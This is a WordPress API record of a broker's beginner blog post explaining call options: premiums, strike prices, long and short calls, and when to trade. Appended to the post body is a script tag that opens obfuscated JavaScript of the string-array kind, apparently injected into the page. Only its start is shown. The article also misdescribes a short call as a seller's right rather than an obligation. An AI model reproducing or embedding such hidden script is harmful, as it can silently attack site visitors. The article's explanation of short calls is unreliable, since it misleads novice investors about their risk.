{"id":267,"date":"2022-12-26T04:25:22","date_gmt":"2022-12-26T04:25:22","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=267"},"modified":"2026-02-02T06:41:48","modified_gmt":"2026-02-02T06:41:48","slug":"a-beginners-guide-to-options-trading-understanding-call-options","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/","title":{"rendered":"A Beginner&#8217;s Guide to Options Trading | Understanding Call Options"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#What_is_an_Option\" >What is an Option?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#What_are_Call_Options\" >What are Call Options?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#Add_on_terminologies\" >Add on terminologies:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#Types_of_Call_Options\" >Types of Call Options:<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#When_to_buy_and_sell_the_Call_Option\" >When to buy and sell the Call Option?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#How_Do_Call_Options_Work\" >How Do Call Options Work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/#Why_Invest_in_Call_Options\" >Why Invest in Call Options?<\/a><\/li><\/ul><\/nav><\/div>\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_an_Option\"><\/span><strong>What is an Option?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Options are tradable contracts that allow investors to make predictions about whether the price of an asset will increase or decrease at a specific point in the future without actually purchasing the assets in question.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_are_Call_Options\"><\/span><strong>What are Call Options?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">A Call Option is a right given to the holders of the financial security to buy the asset on or before the contract expiration date of maturity.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Add_on_terminologies\"><\/span><strong>Add on terminologies:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Strike price: <\/strong>The specified price is called the <a style=\"color:#deb656;\" href=\"https:\/\/shoonya.com\/blog\/strike-price-of-an-option-meaning-and-its-working\/\">Strike price<\/a>, and the specified period is the maturity period or expiration.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Premium: <\/strong>A fee is to be paid to get the option rights.&nbsp; This amount is the premium.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Profit and Loss: <\/strong>The profits could be unlimited in Call options. In case of losses, the maximum amount an individual can lose is the premium amount that is paid.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Types_of_Call_Options\"><\/span><strong>Types of Call Options:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Call Options are basically of two types Long Call Options and Short Call Options. Let\u2019s discuss them one by one:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Long Call Options:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">A Long Call Option is simply a right given to investors to buy the specified asset at the strike price in the future. It doesn\u2019t impose any obligation on the buyer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It gives a great opportunity to the buyer to plan well to make a chea[er purchase of assets in the future.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Short Call options:<\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">A Short Call Option gives rights to the seller to sell their holdings at the strike price at a specified time on or before the expiration date.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The seller gets the benefit of reducing the losses they may suffer in prices due to the change in <a href=\"https:\/\/shoonya.com\/blog\/protecting-your-portfolio-during-market-fluctuations\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">market fluctuations<\/mark><\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"When_to_buy_and_sell_the_Call_Option\"><\/span><strong>When to buy and sell the Call Option?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In the <a style=\"color:#deb656;\" href=\"https:\/\/shoonya.com\/blog\/share-market-guide-for-beginners-start-investing-in-stocks\/\">Stock Market<\/a>, time is one of the most important aspects. The timings of your buying and selling of Call options matter the most.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The right investor is the one who buys when the prices are low and sells when the prices are high.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">When you have paid a premium to access the Option rights, you can speculate freely. Because in that circumstance even if you lose, you can lose the maximum of only the premium amount paid.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"How_Do_Call_Options_Work\"><\/span><strong>How Do Call Options Work?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The holder of a call option, a type of derivative contract, is given the right but not the obligation to buy a certain number of shares at a predetermined price, or the &#8220;strike price&#8221; of the option.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To lock in a profit, the option holder can exercise their option by purchasing at the strike price and selling at the higher market price if the stock&#8217;s market price climbs over the option&#8217;s strike price.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, options are only valid for a short while. The options expire worthless if during that time the market price does not climb over the strike price.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Why_Invest_in_Call_Options\"><\/span><strong>Why Invest in Call Options?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If investors have positive expectations about the future of the underlying shares, they may think about purchasing call options.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Call options may offer these investors a great chance to speculate on the prices and earn higher profits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Purchasing shares indirectly through call options can be a captivating approach to boost an investor&#8217;s purchasing power if they are confident in the share price of a company.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trade options smarter with Shoonya \u2014 India\u2019s fast and <a href=\"https:\/\/play.google.com\/store\/apps\/details?id=com.shoonya.s2\">low-cost Option Trading App<\/a>.<\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Options are tradable contracts that allow investors to make predictions about whether the price of an asset will increase or decrease at a specific point in the future without actually purchasing the assets in question. What are Call Options? A Call Option is a right given to the holders of the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/a-beginners-guide-to-options-trading-understanding-call-options\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;A Beginner&#8217;s Guide to Options Trading | Understanding Call Options&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":455,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[14],"tags":[285,282,283,286,281,284],"class_list":["post-267","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-options","tag-buy-and-sell-the-call-option","tag-call-options","tag-financial-security","tag-invest-in-call-options","tag-options","tag-types-of-call-options"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>A Beginner&#039;s Guide to Options Trading | Understanding Call Options<\/title>\n<meta name=\"description\" content=\"Discover how call options work and the risks and advantages involved with our beginner&#039;s guide to options trading. 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